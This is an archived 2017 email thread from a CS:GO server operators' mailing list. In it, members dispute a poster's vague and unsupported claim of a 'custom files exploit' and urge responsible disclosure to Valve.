 

Regards,

 

Saint K.

 

From: Csgo_servers [mailto:[hidden email]] On Behalf Of Stealth Mode
Sent: 10 October 2017 18:34
To: [hidden email]
Subject: Re: [Csgo_servers] Custom files exploit

 

@Ryan, etc.

 

I studied radio electronics before IT was a thing. NetSec and ITSec go hand in hand. My credentials aren't CS, because CS was radio electronics. The industry hasn't changed, just a little more vulnerable. Not like I am specifically stating how to inject code, or what code to inject on a public mailing list. Don't need to. Professionals here know what I am referring to. I guess the rest do not have the knowledge to understand what the exploit can actually do. You are aware. That is all that matters. Don't secure your servers, that is on you. When they get exploited, that is on you. 

 

Have a nice day! End of discussion. No further communications.

 

Sincerely,

Christopher "StealthMode" Stephen Larkins

Independent IT Field Engineer

 

 

On Tue, Oct 10, 2017 at 12:09 PM, Ryan Bentley <[hidden email]> wrote:

My sides at this thread. At first I just rolled my eyes but now I actually believe that Stealth Mode is either a troll or delusional. Please stop saying "ITSec". Any first year CS student knows what PoC is but you don't? Please.

You are embarrassing yourself. Which institution did you get your degree? It must be a very old BSc indeed. You talk complete nonsense and have a fundamental misunderstanding of basic computer science tenets.

 

On Tue, Oct 10, 2017 at 4:34 PM, Nomaan Ahmad <[hidden email]> wrote:

Nice hat there. Stealth might get this one though: https://i.imgur.com/329jfXt.gif

 

On 10 Oct 2017 4:29 pm, "PistonMiner" <[hidden email]> wrote:

The person in question should never have written a message about an open vulnerability into a public mailing list in the first place. Just because they did doesn't mean that you should ask for PoCs in public mailing lists, there's a multitude of issues with that.
To make it perfectly clear, I'm not defending this person, I seriously doubt the seriousness of their statements and a lot of what they're saying makes no sense at all and looks like trying to maintain an image of competence while knowing little, but responsible disclosure still applies. If this person has a vulnerability to report, they should do so with the information listed at http://www.valvesoftware.com/security/.
And I think I know what I'm talking about seeing as I have two Finder's Fees. See https://wiki.teamfortress.com/wiki/Finder%27s_Fee and https://wiki.teamfortress.com/wiki/List_of_Finder%27s_Fee_owners

On 10.10.2017 17:08, Vaya wrote:

I think someone needs to ‘stealth mode’ out of this email chain. This is just noise without a repeatable Test

Sent from my iPhone


On 10 Oct 2017, at 16:01, PistonMiner <[hidden email]> wrote:

If you have a vulnerability to report, don't do it in a public mailing list. Report it directly to Valve, and no place else. This conversation has so many problems, but asking for a PoC in a public mailing list is one of them. Look up responsible disclosure. (I should note though, at this point I am not convinced a vulnerability even exists.)

-- 
PistonMiner (Linus S.)

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers



-- 
PistonMiner (Linus S.)


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

 


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers

_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers


_______________________________________________
Csgo_servers mailing list
[hidden email]
https://list.valvesoftware.com/cgi-bin/mailman/listinfo/csgo_servers
123